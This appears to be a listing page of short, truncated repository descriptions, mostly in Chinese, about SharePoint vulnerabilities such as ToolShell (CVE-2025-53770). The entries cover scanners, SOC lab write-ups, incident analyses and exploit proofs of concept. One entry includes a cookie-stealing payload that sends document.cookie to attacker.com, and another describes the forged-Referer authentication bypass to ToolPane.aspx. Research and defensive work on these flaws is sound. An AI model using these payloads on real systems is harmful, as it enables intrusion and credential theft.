-SOC342---CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-and-RCE

SOC342---CVE-2025-53770-SharePoint-ToolShell-Bypass-de-Autenticación-y-RCE Esta es una investigación realizada en la plataforma Let's Defend, basada en un CVE reciente de SharePoint. Echemos un vistazo. 1. Examine el nombre de la regla. Los nombres de las reglas suelen crearse específicamente par...

mssharepoint-scanner

MS SharePoint 扫描器 一个单文件、无依赖的 防御性 工具，用于 Microsoft SharePoint，将 服务发现 （单个或批量）与针对两个关键本地部署漏洞的 CVE 评估 相结合： CVE-2026-55040 （严重 9.1）— JWT 令牌身份验证绕过 CVE-2026-63520 （高危 8.1）— 通过 BDC 模型 / 不安全的 .NET 类型实例化实现远程代码执行 全部集成在一个源文件中 — 无需单独的脚本。 功能 1. 服务发现 在单个目标或大型网络中查找 SharePoint 服务器： 输入类型| 示例 ---|--- 域名|...

POC-CVE-2026-56164-exploit

CVE-2026-56164 — Microsoft SharePoint Server 身份验证绕过漏洞利用工具 严重（CVSS 9.8） — 在 Microsoft SharePoint Server 中，未经身份验证即可将权限提升至场管理员 目录 概述 漏洞详情 受影响版本 架构图 项目结构 安装 扫描器使用 — 分步指南 漏洞利用工具使用 — 分步指南 载荷设计 缓解措施 免责声明 概述 CVE-2026-56164 是 Microsoft SharePoint Server 中的一个严重缺失身份验证漏洞，允许未经过身份验证的远程攻击者将权限提升至场管理员 级别。该漏洞位于...

MS-SharePoint-July-Patch-RCE-PoC

MS-SharePoint-July-Patch-RCE-PoC 针对以下漏洞的 PoC： CVE-2024-38094 CVE-2024-38024 CVE-2024-38023 PoC 视频： https://youtu.be/u8mccaakISw...

CVE-2025-53770-Scanner

🛡️ CVE-2025-53770 SharePoint 漏洞扫描器 一个基于 Python 的工具，用于检测受 CVE-2025-53770 影响的易受攻击 Microsoft SharePoint 实例。CVE-2025-53770 是一种通过 ToolPane.aspx 端点触发的非安全反序列化漏洞。该扫描器发送一个精心构造的压缩 ViewState 载荷，以判断目标是否泄露内部序列化对象。 🚀 功能特性 ✅ 检测受 CVE-2025-53770 影响的 SharePoint 实例 ✅ 支持扫描单个目标或从文件批量扫描 URL ✅ 使用安全的...

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend TL;DR 嘿，在这个 LetsDefend 实验室中，我深入研究了名为 ToolShell 的 SharePoint 零日漏洞（CVE-2025-53770）。简而言之，我模拟了一次真实的攻击：恶意 POST 请求绕过认证，运行 PowerShell 窃取 MachineKeySection 密钥，编译 payload.exe，并植入 Web...

SharePoint-ToolShell-CVE-2025-53770-Incident-Analysis

SharePoint ToolShell CVE-2025-53770 事件分析 概述 本项目记录了对一次真实世界利用尝试的调查，该尝试利用 ToolShell 漏洞 CVE-2025-53770 针对 SharePoint 服务器。 该攻击展示了完整的利用链，包括远程代码执行、WebShell 部署和凭据数据提取。 初始访问 攻击始于一条可疑告警，该告警表明存在针对 SharePoint 服务器的 CVE-2025-53770 漏洞利用。 利用请求 一个未经身份验证的 HTTP POST 请求被发送到存在漏洞的 SharePoint 端点：...

CVE-2026-55040-Mass-Exploit

Microsoft SharePoint 的 JWT 令牌绕过漏洞利用（CVE-2026-55040，CVSS 9.1） 使用三种攻击向量伪造身份验证令牌： 算法“none”（跳过签名验证） 弱 HS256 密钥（支持暴力破解字典） RS256 密钥替换 可冒充包括管理员在内的任意用户。包含单目标漏洞利用、基于 curl 的自动化攻击，以及针对批量目标的大规模攻击模式。需要 Python 3。 https://satoshidisk.com/pay/CSGDgs...

CVE-2026-63520

CVE-2026-63520 SharePoint 不安全类型 RCE + CVE-2026-55040 链 Microsoft SharePoint Server 上的未认证 RCE。无需任何凭据。 Stephen Fewer（Rapid7）在 Pwn2Own Berlin 2026 上演示了 CVE-2026-55040。Rapid7 随后在后续研究中发现了 CVE-2026-63520，VulnCheck 则独立发现了一条替代 gadget 链。这两个漏洞组合在一起，可让您对互联网上任何未打补丁的 SharePoint 实现未认证远程代码执行。 CISA 在 PoC...

CVE-2025-54897-LAB

实验室：CVE-2025-54897 - Microsoft Office SharePoint 中的反序列化漏洞 🚀 概述 本实验室演示了 Microsoft Office SharePoint 中的一个反序列化漏洞，该漏洞可实现远程代码执行（RCE）。此问题源于 SharePoint 的对象反序列化例程对不受信任的序列化数据处理不当，允许经过身份验证的攻击者在目标服务器上执行任意代码。该漏洞的 CVSSv3 评分为 8.8，属于高危漏洞，影响多个 SharePoint 版本，包括 Enterprise Server 2016、Server 2019 和 Subscription...

CVE-2023-29357-Check

CVE-2023-29357 Microsoft SharePoint Server 权限提升漏洞 此脚本将告知您目标是否易受 CVE-2023-29357 攻击 使用方法 python3 script.py 免责声明 此脚本仅用于教育目的。未经事先双方同意，请勿将其用于攻击目标。 参考 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2023-29357...

CVE-2026-32201-exploit

概述 针对 CVE-2026-32201 的 Python 漏洞利用程序——Microsoft SharePoint Server 中的输入验证不当，允许未经身份验证的网络欺骗（C:L/I:L）。 受影响版本：SharePoint Server 2016 Enterprise、2019、Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint /layouts/15/notify.aspx 输出示例： + 检测到 SharePoint。 正在向...

cve-2025-53770-research

cve-2025-53770-research 🚨 关于 SharePoint “ToolShell” RCE 零日漏洞 CVE-2025-53770 的威胁情报与事件响应研究。🕵️‍♂️ 涵盖根因反序列化缺陷、攻击时间线、风险指标以及防御性 EDR 验证演练手册。🛡️ 🕵️ CVE-2025-53770 — SharePoint “ToolShell” 零日漏洞研究 关于 Microsoft SharePoint “ToolShell” RCE 零日漏洞的威胁情报与事件响应研究。 涵盖根因反序列化缺陷、攻击时间线、风险指标以及防御性/EDR 验证演练手册。 作者：Muhammad...

Sharepoint-cve-2023-29375-incident-response

SOC 事件分析：Microsoft SharePoint Server 特权提升（CVE-2023-29375） 深入安全调查了一次针对 Microsoft SharePoint 服务器的关键漏洞利用和枚举尝试。 事件概述 告警名称： SOC227 - Microsoft SharePoint Server 特权提升 - 可能的 CVE-2023-29375 漏洞利用 严重性： 严重 日期/时间： 2023年10月6日 20:05 目标主机名： MS-SharePointServer 目标 IP / 端口： 172.16.17.233:443（HTTPS） 源 IP（攻击者）：...

CVE-2019-0604_sharepoint_CVE

CVE-2019-0604 CVE-2019-0604 来自 https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability...

it-sec-toolshell

ToolShell — SharePoint 零日演示 一个关于 CVE-2025-53770 的 Marp 幻灯片集，每张幻灯片都保存在 slides/ 下的单独文件中。 构建 ./build.sh 组装幻灯片为 presentation.md ./build.sh html + 渲染 presentation.html ./build.sh pdf + 渲染 presentation.pdf ./build.sh all + HTML、PDF 以及每张幻灯片的 PNG 预览 脚本会按需使用 npx 获取 @marp-team/marp-cli — 无需全局安装。 项目布局...

Microsoft SharePoint - Remote Code Execution

Microsoft SharePoint is vulnerable to a remote code execution when the software fails to check the source markup of an application package. id: CVE-2020-16952 info: name: Microsoft SharePoint - Remote Code Execution author: dwisiswant0 severity: high description: Microsoft SharePoint is vulnerabl...

Microsoft SharePoint Server - Authentication Bypass (ToolShell)

Microsoft Office SharePoint Server contains an improper authentication vulnerability that allows unauthorized attackers to perform spoofing over a network. By crafting a POST request to /layouts/15/ToolPane.aspx with a forged Referer header /layouts/SignOut.aspx, attackers can bypass authenticati...

CVE-2025-53770

CVE-2025-53770 这是一个针对 SharePoint 未认证远程代码执行漏洞 的扫描器，漏洞编号为 CVE-2025-53770。 该代码是通过逆向分析一个在野外见到的 payload 编写的。 使用风险自负，我对可能造成的任何负面影响概不负责。 它是如何工作的？ 它尝试通过向 SharePoint ToolBox 控件中注入一个标记来利用该漏洞。 如果在 SharePoint 服务器的响应中找到这个无害的标记，则该主机被标记为易受攻击。 如何使用 检查 是否易受攻击，并尝试提取版本信息 % ./CVE-2025-53770 ... INFO0000 set log leve...

CVE-2026-45659

CVE-2026-45659 Microsoft Office SharePoint 中未受信任数据的反序列化允许经授权的攻击者通过网络执行代码。 ⚡ 简单用法 仅在安全且获得授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验环境 授权的渗透测试环境 示例设置： git clone cd 示例用法： 安装依赖 pip install -r requirements.txt 基本命令执行 python cve-2026-45659.py -t http://sp.lab.local -u lab\testuser -p Password123 -l...